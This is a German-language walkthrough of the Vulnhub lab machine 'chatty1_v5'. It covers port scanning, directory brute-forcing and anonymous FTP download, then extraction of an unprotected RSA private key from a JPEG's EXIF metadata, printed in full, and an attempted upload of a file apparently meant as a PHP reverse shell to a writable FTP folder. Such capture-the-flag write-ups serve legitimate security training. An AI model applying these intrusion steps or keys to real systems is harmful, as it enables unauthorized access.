chatty1_v5 - Vulnhub - Level: Medium - Bericht

Medium

Verwendete Tools

nmap
Nikto
gobuster
wget
exiftool
vi
ssh2john
ftp
nc
find
curl

Inhaltsverzeichnis

Reconnaissance

Die Reconnaissance-Phase ist der erste Schritt bei jedem Penetrationstest. Hier sammeln wir Informationen über das Zielsystem, um potenzielle Schwachstellen zu identifizieren.

┌──(root㉿CCat)-[~]
└─# ARP-Scan
192.168.2.107 08:00:27:66:69:65 PCS Systemtechnik GmbH

ARP-Scan wird verwendet, um Hosts im lokalen Netzwerk zu entdecken. In diesem Fall finden wir einen Host mit der IP-Adresse 192.168.2.107 und der MAC-Adresse 08:00:27:66:69:65. Der Hersteller der Netzwerkkarte ist PCS Systemtechnik GmbH.

┌──(root㉿CCat)-[~]
└─# /etc/hosts
192.168.2.107 chatty1.vln

Die Datei /etc/hosts wird verwendet, um Hostnamen zu IP-Adressen aufzulösen. Hier wird der Hostname chatty1.vln der IP-Adresse 192.168.2.107 zugewiesen. Dies ermöglicht uns, den Host über seinen Hostnamen anzusprechen.

┌──(root㉿CCat)-[~]
└─# nmap -sU --top-port 1000 -T5 -n $IP -Pn --min-rate 5000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-25 22:34 CEST
Nmap scan report for 192.168.2.107
Host is up (0.0023s latency).
Not shown: 993 open|filtered udp ports (no-response)
PRT STATE SERVICE
38/udp closed rap
177/udp closed xdmcp
1025/udp closed blackjack
5060/udp open sip
16708/udp closed unknown
19294/udp closed unknown
49201/udp closed unknown
MAC Address: 08:00:27:66:69:65 (racle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.71 seconds

Dieser Nmap-Befehl führt einen UDP-Scan der Top 1000 Ports auf dem Zielsystem durch.

  • -sU: UDP-Scan
  • --top-port 1000: Scannt die Top 1000 Ports
  • -T5: Schnellste Scan-Geschwindigkeit (kann ungenau sein)
  • -n: Keine DNS-Auflösung
  • $IP: Ziel-IP-Adresse (192.168.2.107)
  • -Pn: Keine Ping-Anfrage vor dem Scan
  • --min-rate 5000: Sendet Pakete mit einer Rate von mindestens 5000 pro Sekunde
Der Scan zeigt, dass der Port 5060/udp offen ist, was auf einen SIP-Dienst (Session Initiation Protocol) hindeutet. UDP-Scans sind oft unzuverlässiger als TCP-Scans, da UDP keine Verbindung herstellt und keine Bestätigung für den Empfang von Paketen sendet.

┌──(root㉿CCat)-[~]
└─# nmap -sS -sC -sV -A -p- $IP -Pn --min-rate 5000 | grep open
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh penSSH 7.6p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.15.7
5060/tcp open sip-proxy Asterisk PBX 13.23.1

Dieser Nmap-Befehl führt einen umfassenden TCP-Scan auf allen Ports des Zielsystems durch und filtert die Ausgabe, um nur offene Ports anzuzeigen.

  • -sS: TCP-SYN-Scan (Stealth-Scan)
  • -sC: Verwendet Standard-NSE-Skripte für die Serviceerkennung
  • -sV: Erkennt die Service-Version
  • -A: Aggressiver Scan (Service-Version, Skript-Scan, Traceroute)
  • -p-: Scannt alle 65535 Ports
  • $IP: Ziel-IP-Adresse (192.168.2.107)
  • -Pn: Keine Ping-Anfrage vor dem Scan
  • --min-rate 5000: Sendet Pakete mit einer Rate von mindestens 5000 pro Sekunde
  • grep open: Filtert die Ausgabe, um nur Zeilen mit "open" anzuzeigen
Der Scan zeigt, dass die Ports 21/tcp (FTP), 22/tcp (SSH), 80/tcp (HTTP) und 5060/tcp (SIP) offen sind.

┌──(root㉿CCat)-[~]
└─# nmap -sS -sC -sV -A -p- $IP -Pn --min-rate 5000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-25 22:34 CEST
Nmap scan report for chatty1.vln (192.168.2.107)
Host is up (0.00022s latency).
Not shown: 65531 closed tcp ports (reset)
PRT STATE SERVICE VERSIN
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| drwxr-xr-x 2 33 33 4096 Apr 27 2018 css
| drwxrwxrwx 2 33 33 4096 Apr 27 2018 data [NSE: writeable]
| -rwxr-xr-x 1 33 33 488 Apr 23 2018 index.html
| drwxr-xr-x 2 33 33 4096 Apr 27 2018 js
|_-rwxr-xr-x 1 33 33 827323 Nov 29 2018 tech-042712-004.jpg
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 192.168.2.199
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 3
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh penSSH 7.6p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 46:7c:5a:bd:9d:91:b3:1d:65:ff:02:71:d3:04:98:8a (RSA)
| 256 2b:dc:57:0b:db:f2:60:0f:a8:9b:dc:64:bb:8a:54:6a (ECDSA)
|_ 256 68:21:d1:f9:ff:69:05:dd:b3:5b:4e:b3:96:2b:50:96 (ED25519)
80/tcp open http nginx 1.15.7
|_http-title: 403 Forbidden
|_http-server-header: nginx/1.15.7
5060/tcp open sip-proxy Asterisk PBX 13.23.1
|_sip-methods: INVITE, ACK, CANCEL, PTINS, BYE, REFER, SUBSCRIBE, NTIFY, INF, PUBLISH, MESSAGE
MAC Address: 08:00:27:66:69:65 (racle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
S CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
S details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: Ss: Unix, Linux; Device: PBX; CPE: cpe:/o:linux:linux_kernel

TRACERUTE
HP RTT ADDRESS
1 0.22 ms chatty1.vln (192.168.2.107)

Dieser Nmap-Befehl ist identisch mit dem vorherigen, jedoch ohne die Filterung der Ausgabe. Er liefert detailliertere Informationen zu den offenen Ports und Diensten.

  • FTP (Port 21): vsftpd 3.0.3 ist aktiv und anonyme Logins sind erlaubt. Das FTP-Verzeichnislisting zeigt, dass das Verzeichnis "data" beschreibbar ist (drwxrwxrwx).
  • SSH (Port 22): OpenSSH 7.6p1 ist aktiv.
  • HTTP (Port 80): nginx 1.15.7 ist aktiv und liefert eine 403 Forbidden-Seite.
  • SIP (Port 5060): Asterisk PBX 13.23.1 ist aktiv.
Die Traceroute-Informationen bestätigen, dass sich das Zielsystem im selben Netzwerk befindet (1 Hop).

┌──(root㉿CCat)-[~]
└─# wget -r ftp://Anonymous:Anonymous@192.168.2.107
--2024-10-25 22:39:58-- ftp://Anonymous:*password*@192.168.2.107/
=> 192.168.2.107/.listing
Verbindungsaufbau zu 192.168.2.107:21 … verbunden.
Anmelden als Anonymous … Angemeldet!
> SYST ... fertig. > PWD ... fertig.
> TYPE I ... fertig. > CWD nicht notwendig.
> PASV ... fertig. > LIST ... fertig.

192.168.2.107/.listing [ <=> ] 447 --.-KB/s in 0s

2024-10-25 22:39:58 (94,8 MB/s) - 192.168.2.107/.listing gespeichert [447]

192.168.2.107/.listing gelöscht.
--2024-10-25 22:39:58-- ftp://Anonymous:*password*@192.168.2.107/index.html
=> 192.168.2.107/index.html
> CWD nicht erforderlich.
> PASV ... fertig. > RETR index.html ... fertig.
Länge: 488

192.168.2.107/index.htm 100%[=>] 488 --.-KB/s in 0,002s

2024-10-25 22:39:58 (291 KB/s) - 192.168.2.107/index.html gespeichert [488]

--2024-10-25 22:39:58-- ftp://Anonymous:*password*@192.168.2.107/tech-042712-004.jpg
=> 192.168.2.107/tech-042712-004.jpg
> CWD nicht erforderlich.
> PASV ... fertig. > RETR tech-042712-004.jpg ... fertig.
Länge: 827323 (808K)

192.168.2.107/tech-0427 100%[=>] 807,93K --.-KB/s in 0,006s

2024-10-25 22:39:58 (139 MB/s) - 192.168.2.107/tech-042712-004.jpg gespeichert [827323]

--2024-10-25 22:39:58-- ftp://Anonymous:*password*@192.168.2.107/css/
=> 192.168.2.107/css/.listing
> CWD (1) /css ... fertig.
> PASV ... fertig. > LIST ... fertig.

192.168.2.107/css/.list [ <=> ] 119 --.-KB/s in 0s

2024-10-25 22:39:58 (32,9 MB/s) - 192.168.2.107/css/.listing gespeichert [119]

192.168.2.107/css/.listing gelöscht.
--2024-10-25 22:39:58-- ftp://Anonymous:*password*@192.168.2.107/data/
=> 192.168.2.107/data/.listing
> CWD (1) /data ... fertig.
> PASV ... fertig. > LIST ... fertig.

192.168.2.107/data/.lis [ <=> ] 119 --.-KB/s in 0s

2024-10-25 22:39:58 (28,1 MB/s) - 192.168.2.107/data/.listing gespeichert [119]

192.168.2.107/data/.listing gelöscht.
--2024-10-25 22:39:58-- ftp://Anonymous:*password*@192.168.2.107/js/
=> 192.168.2.107/js/.listing
> CWD (1) /js ... fertig.
> PASV ... fertig. > LIST ... fertig.

192.168.2.107/js/.listi [ <=> ] 186 --.-KB/s in 0s

2024-10-25 22:39:58 (41,8 MB/s) - 192.168.2.107/js/.listing gespeichert [186]

192.168.2.107/js/.listing gelöscht.
--2024-10-25 22:39:58-- ftp://Anonymous:*password*@192.168.2.107/js/teste.txt
=> 192.168.2.107/js/teste.txt
> CWD nicht erforderlich.
> PASV ... fertig. > RETR teste.txt ... fertig.
Länge: 8

192.168.2.107/js/teste. 100%[=>] 8 --.-KB/s in 0s

2024-10-25 22:39:58 (28,5 KB/s) - 192.168.2.107/js/teste.txt gespeichert [8]

BEENDET --2024-10-25 22:39:58--
Verstrichene Zeit: 0,04s
Geholt: 3 Dateien, 808K in 0,008s (104 MB/s)

Da der anonyme FTP-Zugang erlaubt ist, verwenden wir wget, um rekursiv alle Dateien und Verzeichnisse vom FTP-Server herunterzuladen. Die Option -r steht für rekursiv, was bedeutet, dass wget alle Verzeichnisse und Unterverzeichnisse durchläuft und alle Dateien herunterlädt.

┌──(root㉿CCat)-[~]
└─# ll
insgesamt 195832
drwxr-xr-x 5 root root 4096 25. kt 22:39 192.168.2.107

Nach dem Herunterladen der Dateien überprüfen wir den Inhalt des aktuellen Verzeichnisses. Wir sehen, dass ein Verzeichnis mit dem Namen 192.168.2.107 erstellt wurde, das die heruntergeladenen Dateien enthält.

Web Enumeration

In der Web-Enumerationsphase versuchen wir, versteckte Dateien und Verzeichnisse auf dem Webserver zu finden.

┌──(root㉿CCat)-[~]
└─# Nikto v2.5.0
+ Target IP: 192.168.2.107
+ Target Hostname: 192.168.2.107
+ Target Port: 80
+ Start Time: 2024-10-25 22:35:35 (GMT2)

+ Server: nginx/1.15.7
+ /: The anti-clickjacking X-Frame-ptions header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-ptions
+ /: The X-Content-Type-ptions header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ All CGI directories 'found', use '-C none' to test none
+ All CGI directories 'found', use '-C none' to test none
+ 26662 requests: 0 error(s) and 2 item(s) reported on remote host
+ End Time: 2024-10-25 22:37:40 (GMT2) (125 seconds)

+ 1 host(s) tested

Nikto ist ein Webserver-Scanner, der auf bekannte Schwachstellen und Konfigurationsfehler prüft.

  • Es werden fehlende HTTP-Header wie X-Frame-Options und X-Content-Type-Options gemeldet, die das System anfällig für Clickjacking- und MIME-Sniffing-Angriffe machen könnten.

┌──(root㉿CCat)-[~]
└─# gobuster dir -u "http://$IP" -w "/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,svg,pem,crt,json,conf,ELF,elf,c,java,lib,cgi,csh,config,deb,desc,exp,eps,diff,icon,mod,ln,old,rpm,js.map,pHtml -b '503,404,403' -e --no-error -k
http://192.168.2.107/zamowienie (Status: 301) [Size: 169] [--> http://192.168.2.107/zamowienie/]
http://192.168.2.107/zamowienie/index.html (Status: 200) [Size: 488]
http://192.168.2.107/zamowienie/data (Status: 301) [Size: 169] [--> http://192.168.2.107/zamowienie/data/]
http://192.168.2.107/zamowienie/css (Status: 301) [Size: 169] [--> http://192.168.2.107/zamowienie/css/]
http://192.168.2.107/zamowienie/js (Status: 301) [Size: 169] [--> http://192.168.2.107/zamowienie/js/]

Gobuster wird verwendet, um Brute-Force-Angriffe auf Verzeichnisse und Dateien auf dem Webserver durchzuführen.

  • -u: Ziel-URL (http://192.168.2.107)
  • -w: Wordlist-Datei (/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt)
  • -x: Dateiendungen, nach denen gesucht werden soll
  • -b: Ignoriert die Statuscodes 503, 404 und 403
  • -e: Gibt die vollständige URL in der Ausgabe an
  • --no-error: Unterdrückt Fehlermeldungen
  • -k: Ignoriert SSL-Zertifikatfehler
Der Scan zeigt, dass das Verzeichnis /zamowienie/ und seine Unterverzeichnisse /data/, /css/ und /js/ existieren.

┌──(root㉿CCat)-[~]
└─# cd 192.168.2.107
┌──(root㉿CCat)-[~/192.168.2.107]
└─# ll
insgesamt 824
drwxr-xr-x 2 root root 4096 25. kt 22:39 css
drwxr-xr-x 2 root root 4096 25. kt 22:39 data
-rw-r--r-- 1 root root 488 23. Apr 2018 index.html
drwxr-xr-x 2 root root 4096 25. kt 22:39 js
-rw-r--r-- 1 root root 827323 29. Nov 2018 tech-042712-004.jpg

Wir wechseln in das Verzeichnis 192.168.2.107, das zuvor mit wget heruntergeladen wurde, und listen dessen Inhalt auf. Dies zeigt uns die Struktur und die Dateien, die wir vom FTP-Server heruntergeladen haben.

┌──(root㉿CCat)-[~/192.168.2.107]
└─# exiftool tech-042712-004.jpg
ExifTool Version Number : 12.76
File Name : tech-042712-004.jpg
Directory : .
File Size : 827 kB
File Modification Date/Time : 2018:11:29 00:00:00+01:00
File Access Date/Time : 2024:10-25 22:39:58+02:00
File Inode Change Date/Time : 2024-10-25 22:39:58+02:00
File Permissions : -rw-r--r--
File Type : JPEG
File Type Extension : jpg
MIME Type : image/jpeg
JFIF Version : 1.02
Exif Byte rder : Big-endian (Motorola, MM)
Image Description : Hacker World
rientation : Horizontal (normal)
X Resolution : 300
Y Resolution : 300
Resolution Unit : inches
Software : Adobe Photoshop 7.0
Modify Date : 2012-01-15 04:24:18
Artist : roberto saporito
Color Space : Uncalibrated
Exif Image Width : 1000
Exif Image Height : 675
Compression : JPEG (old-style)
Thumbnail ffset : 376
Thumbnail Length : 3478
Current IPTC Digest : 75773dc8e76fd45c31c2df870bd937d4
Application Record Version : 2
Caption-Abstract : Hacker World
Special Instructions : NR
By-line : roberto saporito
bject Name : 136205219
IPTC Digest : 75773dc8e76fd45c31c2df870bd937d4
Displayed Units X : inches
Displayed Units Y : inches
Print Style : Centered
Print Position : 0 0
Print Scale : 1
Global Angle : 30
Global Altitude : 30
Copyright Flag : False
URL : ssh://UID=1001@this-host
URL List :
Slices Group Name : computer hacker 001 (136205219)
Num Slices : 1
Photoshop Thumbnail : (Binary data 3478 bytes, use -b option to extract)
Has Real Merged Data : Yes
Writer Name : Adobe Photoshop
Reader Name : Adobe Photoshop 7.0
Photoshop Quality : 12
Photoshop Format : Standard
XMP Toolkit : ImageExifTool 10.80
About : uuid:3a6116d6-3f61-11e1-9aee-e5feb9136a43
Creator : roberto saporito
Description : Hacker World
Title : 136205219
Credit : Getty Images/iStockphoto
Instructions : --BEGIN RSA PRIVATE KEY--MIIEpAIBAAKCAQEA6fy0zQWsk5yrDim+kmwlrf2yG5LpyYyNWp72egWKHtwmMDWUX306JC60WXkmduPHxuaKQ75DULMlHRXJSq/4YBFmirp1TmPpY2JNzRBVYo2Hm/0tJZUUT62iMFa/1yC51XVldqUV9307XFWtedVrEFA4YLlYElSUlmKyp1rbFv+XDFpprMpSA6+oclUM9xTrDRF3z/Rr36g+TZvm+bsip+0+p+SQMswySLGsH/7hvvJ4lhM1D0UNQrgHJEmmm/UA2rqSKN1PTrdUedPjdV9kUQXyb5/MM+y1oT1rlUVmWHwu31x0NsbDndEEFaXJrE/XKW0EpLk6b4KVTCHQIDAQABAoIBAHvZr9WJeFRVq9D+VYnpRnR3AUxJEggFplheJbZmsjotauU/pv54KUs3kWx+jNaHMJpeMrcywSy49h8UBgzLYdtvumgZ07efeMyLHwU47QkSQsJVWw02gJ7AGEYf1MFI6DRNRFxte1gZaE8xS2eTQCzCCVaUU1cI2EXMTRDyE4HQk4jRRPUqEdhIbgJmwdHHFuVqvU24DBM/4TKj8N5Dg1PJx3H9n14HqIRBTrryh2S3d5JljNafaUJGRqTeD7R3bXvABvZgEKDc5kwXrre53kfBLfZr8RjjYuUpbEV7t9YY3NMkfnbdnRYFHRE/Dk/i9aLdJhlHTMI4JC3QGKXR0CgYEA95f5DS610T+nWp7nRh1pRc3qQTKhYqEgJ9AsqEW/u8xqTyWnUMD3N7VBWgXhitdzQlrE9ZZsMeBoe9Vimfzwahi5fmXbSIo0REgys47uv/t1jDme8DKJiKIBxRk4qpM9IRDjx8sYmQvWh35Xna0xdlf2+9AdLRE1oQySsCgYEA8e53/suTEqe0U48MkXb6Jz+40Q3ABNBxnKuLaMNQ2TH4q8UTzz16IyNs/HHiy7gX+S1xNgv28MRJugj4WxfqaEdyJ9pndocxJpEJ1Wwci9I/Jxet4xnZupCInolecvJ0MsNYTDkudt/Y2y2lgD2MAHxaWVTmHB7huMN97dcCgYEA08SCWgoXrM+a3mGHQmspfXDYT6wvZCTjy/dqKN6rgntbHTMP1nfT6ycRmbb9oT3MGTDzCtaNhCw/7jd2cy/K5hGv3muft4oQTES5rM8tNP1ZjII5WtIZi4Fcx5LkT9PPmYNJNkDWgGWGmELrnwbiFt3/Ri1arGqGaeMUSEl0CgYEAlUJr083jCgJfdaHuvhwqT2a37npnW+0eFU5qE+mEoMomTvSM+D+APWLJVSuB7242uyiptGwfJIDjeUihbiLr3Nhxru9CiKQWIAMCUII5duEP9B77e2JKiabszvLAp3k5KCybCxnJz4Je4fY8JqIMpCF6VFAup6u4h/yJHcCgYB6GKXdQtukguvq5ahhe6oLSpVj5dkE7bSHu3cGIt/7km0DETzjS34UkaYsjJYUvuS0F8k3aJuUtBZtTS5DmPtKWJ5zKMNvGMvfvW7sZwLjThFuPbIk1xnTeQFCbWSEo1w2GGNR6qbJ79W/mMDrFtkHyXTNSxSHkq2h/F+jvfMw--END RSA PRIVATE KEY--
Source : iStockphoto
Thumbnail Image : (Binary data 3478 bytes, use -b option to extract)

exiftool wird verwendet, um Metadaten aus der Bilddatei tech-042712-004.jpg zu extrahieren. Die Ausgabe zeigt verschiedene Metadaten, darunter den Künstlernamen, die Software, die zum Erstellen des Bildes verwendet wurde, und eine URL. Besonders interessant ist der Abschnitt Instructions, der einen Base64-kodierten RSA-Privatschlüssel enthält. Dies ist ein potenziell sicherheitskritisches Ergebnis, da ein Angreifer diesen Schlüssel verwenden könnte, um sich als der Benutzer zu authentifizieren, dem der Schlüssel gehört.

┌──(root㉿CCat)-[~/192.168.2.107]
└─# exiftool tech-042712-004.jpg | grep Instructions
Instructions : --BEGIN RSA PRIVATE KEY--MIIEpAIBAAKCAQEA6fy0zQWsk5yrDim+kmwlrf2yG5LpyYyNWp72egWKHtwmMDWUX306JC60WXkmduPHxuaKQ75DULMlHRXJSq/4YBFmirp1TmPpY2JNzRBVYo2Hm/0tJZUUT62iMFa/1yC51XVldqUV9307XFWtedVrEFA4YLlYElSUlmKyp1rbFv+XDFpprMpSA6+oclUM9xTrDRF3z/Rr36g+TZvm+bsip+0+p+SQMswySLGsH/7hvvJ4lhM1D0UNQrgHJEmmm/UA2rqSKN1PTrdUedPjdV9kUQXyb5/MM+y1oT1rlUVmWHwu31x0NsbDndEEFaXJrE/XKW0EpLk6b4KVTCHQIDAQABAoIBAHvZr9WJeFRVq9D+VYnpRnR3AUxJEggFplheJbZmsjotauU/pv54KUs3kWx+jNaHMJpeMrcywSy49h8UBgzLYdtvumgZ07efeMyLHwU47QkSQsJVWw02gJ7AGEYf1MFI6DRNRFxte1gZaE8xS2eTQCzCCVaUU1cI2EXMTRDyE4HQk4jRRPUqEdhIbgJmwdHHFuVqvU24DBM/4TKj8N5Dg1PJx3H9n14HqIRBTrryh2S3d5JljNafaUJGRqTeD7R3bXvABvZgEKDc5kwXrre53kfBLfZr8RjjYuUpbEV7t9YY3NMkfnbdnRYFHRE/Dk/i9aLdJhlHTMI4JC3QGKXR0CgYEA95f5DS610T+nWp7nRh1pRc3qQTKhYqEgJ9AsqEW/u8xqTyWnUMD3N7VBWgXhitdzQlrE9ZZsMeBoe9Vimfzwahi5fmXbSIo0REgys47uv/t1jDme8DKJiKIBxRk4qpM9IRDjx8sYmQvWh35Xna0xdlf2+9AdLRE1oQySsCgYEA8e53/suTEqe0U48MkXb6Jz+40Q3ABNBxnKuLaMNQ2TH4q8UTzz16IyNs/HHiy7gX+S1xNgv28MRJugj4WxfqaEdyJ9pndocxJpEJ1Wwci9I/Jxet4xnZupCInolecvJ0MsNYTDkudt/Y2y2lgD2MAHxaWVTmHB7huMN97dcCgYEA08SCWgoXrM+a3mGHQmspfXDYT6wvZCTjy/dqKN6rgntbHTMP1nfT6ycRmbb9oT3MGTDzCtaNhCw/7jd2cy/K5hGv3muft4oQTES5rM8tNP1ZjII5WtIZi4Fcx5LkT9PPmYNJNkDWgGWGmELrnwbiFt3/Ri1arGqGaeMUSEl0CgYEAlUJr083jCgJfdaHuvhwqT2a37npnW+0eFU5qE+mEoMomTvSM+D+APWLJVSuB7242uyiptGwfJIDjeUihbiLr3Nhxru9CiKQWIAMCUII5duEP9B77e2JKiabszvLAp3k5KCybCxnJz4Je4fY8JqIMpCF6VFAup6u4h/yJHcCgYB6GKXdQtukguvq5ahhe6oLSpVj5dkE7bSHu3cGIt/7km0DETzjS34UkaYsjJYUvuS0F8k3aJuUtBZtTS5DmPtKWJ5zKMNvGMvfvW7sZwLjThFuPbIk1xnTeQFCbWSEo1w2GGNR6qbJ79W/mMDrFtkHyXTNSxSHkq2h/F+jvfMw--END RSA PRIVATE KEY--

Dieser Befehl extrahiert gezielt die Zeile mit den Instructions aus den EXIF-Daten der Bilddatei. Dies bestätigt, dass der RSA-Privatschlüssel tatsächlich in den Metadaten der Datei vorhanden ist.

┌──(root㉿CCat)-[~/192.168.2.107]
└─# vi id_rsa
┌──(root㉿CCat)-[~/192.168.2.107]
└─# cat id_rsa
--BEGIN RSA PRIVATE KEY--
MIIEpAIBAAKCAQEA6fy0zQWsk5yrDim+kmwlrf2yG5LpyYyNWp72egWKHtwmMDWUX306JC
60WXkmduPHxuaKQ75DULMlHRXJSq/4YBFmirp1TmPpY2JNzRBVYo2Hm/0tJZUUT62iMFa/
1yC51XVldqUV9307XFWtedVrEFA4YLlYElSUlmKyp1rbFv+XDFpprMpSA6+oclUM9xTrD
RF3z/Rr36g+TZvm+bsip+0+p+SQMswySLGsH/7hvvJ4lhM1D0UNQrgHJEmmm/UA2rqSKN1
PTrdUedPjdV9kUQXyb5/MM+y1oT1rlUVmWHwu31x0NsbDndEEFaXJrE/XKW0EpLk6b4K
VTCHQIDAQABAoIBAHvZr9WJeFRVq9D+VYnpRnR3AUxJEggFplheJbZmsjotauU/pv54KUs3
kWx+jNaHMJpeMrcywSy49h8UBgzLYdtvumgZ07efeMyLHwU47QkSQsJVWw02gJ7AGEYf1MF
I6DRNRFxte1gZaE8xS2eTQCzCCVaUU1cI2EXMTRDyE4HQk4jRRPUqEdhIbgJmwdHHFuVqvU
24DBM/4TKj8N5Dg1PJx3H9n14HqIRBTrryh2S3d5JljNafaUJGRqTeD7R3bXvABvZgEKDc
5kwXrre53kfBLfZr8RjjYuUpbEV7t9YY3NMkfnbdnRYFHRE/Dk/i9aLdJhlHTMI4JC3QGK
XR0CgYEA95f5DS610T+nWp7nRh1pRc3qQTKhYqEgJ9AsqEW/u8xqTyWnUMD3N7VBWgXh
itdzQlrE9ZZsMeBoe9Vimfzwahi5fmXbSIo0REgys47uv/t1jDme8DKJiKIBxRk4qpM9I
RDjx8sYmQvWh35Xna0xdlf2+9AdLRE1oQySsCgYEA8e53/suTEqe0U48MkXb6Jz+40Q3AB
NBxnKuLaMNQ2TH4q8UTzz16IyNs/HHiy7gX+S1xNgv28MRJugj4WxfqaEdyJ9pndocxJ
pEJ1Wwci9I/Jxet4xnZupCInolecvJ0MsNYTDkudt/Y2y2lgD2MAHxaWVTmHB7huMN97dc
CgYEA08SCWgoXrM+a3mGHQmspfXDYT6wvZCTjy/dqKN6rgntbHTMP1nfT6ycRmbb9oT3M
GTDzCtaNhCw/7jd2cy/K5hGv3muft4oQTES5rM8tNP1ZjII5WtIZi4Fcx5LkT9PPmYNJNkD
WgGWGmELrnwbiFt3/Ri1arGqGaeMUSEl0CgYEAlUJr083jCgJfdaHuvhwqT2a37npnW+
0eFU5qE+mEoMomTvSM+D+APWLJVSuB7242uyiptGwfJIDjeUihbiLr3Nhxru9CiKQWIA
MCUII5duEP9B77e2JKiabszvLAp3k5KCybCxnJz4Je4fY8JqIMpCF6VFAup6u4h/yJHcCgY
B6GKXdQtukguvq5ahhe6oLSpVj5dkE7bSHu3cGIt/7km0DETzjS34UkaYsjJYUvuS0F8k3a
JuUtBZtTS5DmPtKWJ5zKMNvGMvfvW7sZwLjThFuPbIk1xnTeQFCbWSEo1w2GGNR6qbJ79
W/mMDrFtkHyXTNSxSHkq2h/F+jvfMw
--END RSA PRIVATE KEY--

Hier erstellen wir eine Datei namens id_rsa und fügen den extrahierten RSA-Privatschlüssel ein. Dies ermöglicht uns, den Schlüssel für die Authentifizierung zu verwenden. Der Befehl vi wird verwendet, um die Datei zu erstellen und zu bearbeiten, und cat gibt den Inhalt der Datei aus.

┌──(root㉿CCat)-[~/192.168.2.107]
└─# chmod +x id_rsa

Der Befehl chmod +x id_rsa macht die Datei id_rsa ausführbar. Obwohl dies für eine private Schlüsseldatei nicht erforderlich ist, wird es hier möglicherweise verwendet, um Verwechslungen zu vermeiden oder um sicherzustellen, dass die Datei von anderen Tools gelesen werden kann. Es ist jedoch wichtig zu beachten, dass private Schlüsseldateien niemals ausführbar sein sollten, da dies ein Sicherheitsrisiko darstellen kann.

┌──(root㉿CCat)-[~/192.168.2.107]
└─# ssh2john id_rsa > ~/hash
id_rsa has no password!

ssh2john ist ein Tool, das verwendet wird, um SSH-Schlüssel in ein Format zu konvertieren, das von John the Ripper (einem Passwort-Cracking-Tool) verarbeitet werden kann. In diesem Fall gibt ssh2john die Meldung "id_rsa has no password!" aus, was bedeutet, dass der private Schlüssel nicht passwortgeschützt ist.

Initial Access

In dieser Phase versuchen wir, initialen Zugriff auf das System zu erhalten.

┌──(root㉿CCat)-[~]
└─# nmap
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| drwxr-xr-x 2 33 33 4096 Apr 27 2018 css
| drwxrwxrwx 2 33 33 4096 Apr 27 2018 data [NSE: writeable]
| -rwxr-xr-x 1 33 33 488 Apr 23 2018 index.html
| drwxr-xr-x 2 33 33 4096 Apr 27 2018 js
|_-rwxr-xr-x 1 33 33 827323 Nov 29 2018 tech-042712-004.jpg
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 192.168.2.199
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 3
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh penSSH 7.6p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 46:7c:5a:bd:9d:91:b3:1d:65:ff:02:71:d3:04:98:8a (RSA)
| 256 2b:dc:57:0b:db:f2:60:0f:a8:9b:dc:64:bb:8a:54:6a (ECDSA)
|_ 256 68:21:d1:f9:ff:69:05:dd:b3:5b:4e:b3:96:2b:50:96 (ED25519)
80/tcp open http nginx 1.15.7
|_http-title: 403 Forbidden
|_http-server-header: nginx/1.15.7
5060/tcp open sip-proxy Asterisk PBX 13.23.1
|_sip-methods: INVITE, ACK, CANCEL, PTINS, BYE, REFER, SUBSCRIBE, NTIFY, INF, PUBLISH, MESSAGE

Dieser Nmap-Scan wiederholt die Informationen, die wir bereits in der Reconnaissance-Phase gesammelt haben. Er bestätigt, dass der anonyme FTP-Zugang erlaubt ist und dass das Verzeichnis data beschreibbar ist.

┌──(root㉿CCat)-[~]
└─# ftp 192.168.2.107
Connected to 192.168.2.107.
220 (vsFTPd 3.0.3)
Name (192.168.2.107:ccat): Anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.

Wir verbinden uns mit dem FTP-Server als anonymer Benutzer.

ftp>
└─# ls -la
229 Entering Extended Passive Mode (|||24534|)
150 Here comes the directory listing.
drwxr-xr-x 5 33 33 4096 Apr 27 2018 .
drwxr-xr-x 5 33 33 4096 Apr 27 2018 ..
drwxr-xr-x 2 33 33 4096 Apr 27 2018 css
drwxrwxrwx 2 33 33 4096 Apr 27 2018 data
-rwxr-xr-x 1 33 33 488 Apr 23 2018 index.html
drwxr-xr-x 2 33 33 4096 Apr 27 2018 js
-rwxr-xr-x 1 33 33 827323 Nov 29 2018 tech-042712-004.jpg
226 Directory send K.

Wir listen den Inhalt des FTP-Hauptverzeichnisses auf, um die Dateiberechtigungen zu überprüfen. Dies bestätigt erneut, dass das Verzeichnis data beschreibbar ist (drwxrwxrwx).

ftp>
└─# put rev.php
local: rev.php remote: rev.php
229 Entering Extended Passive Mode (|||26942|)
553 Could not create file.

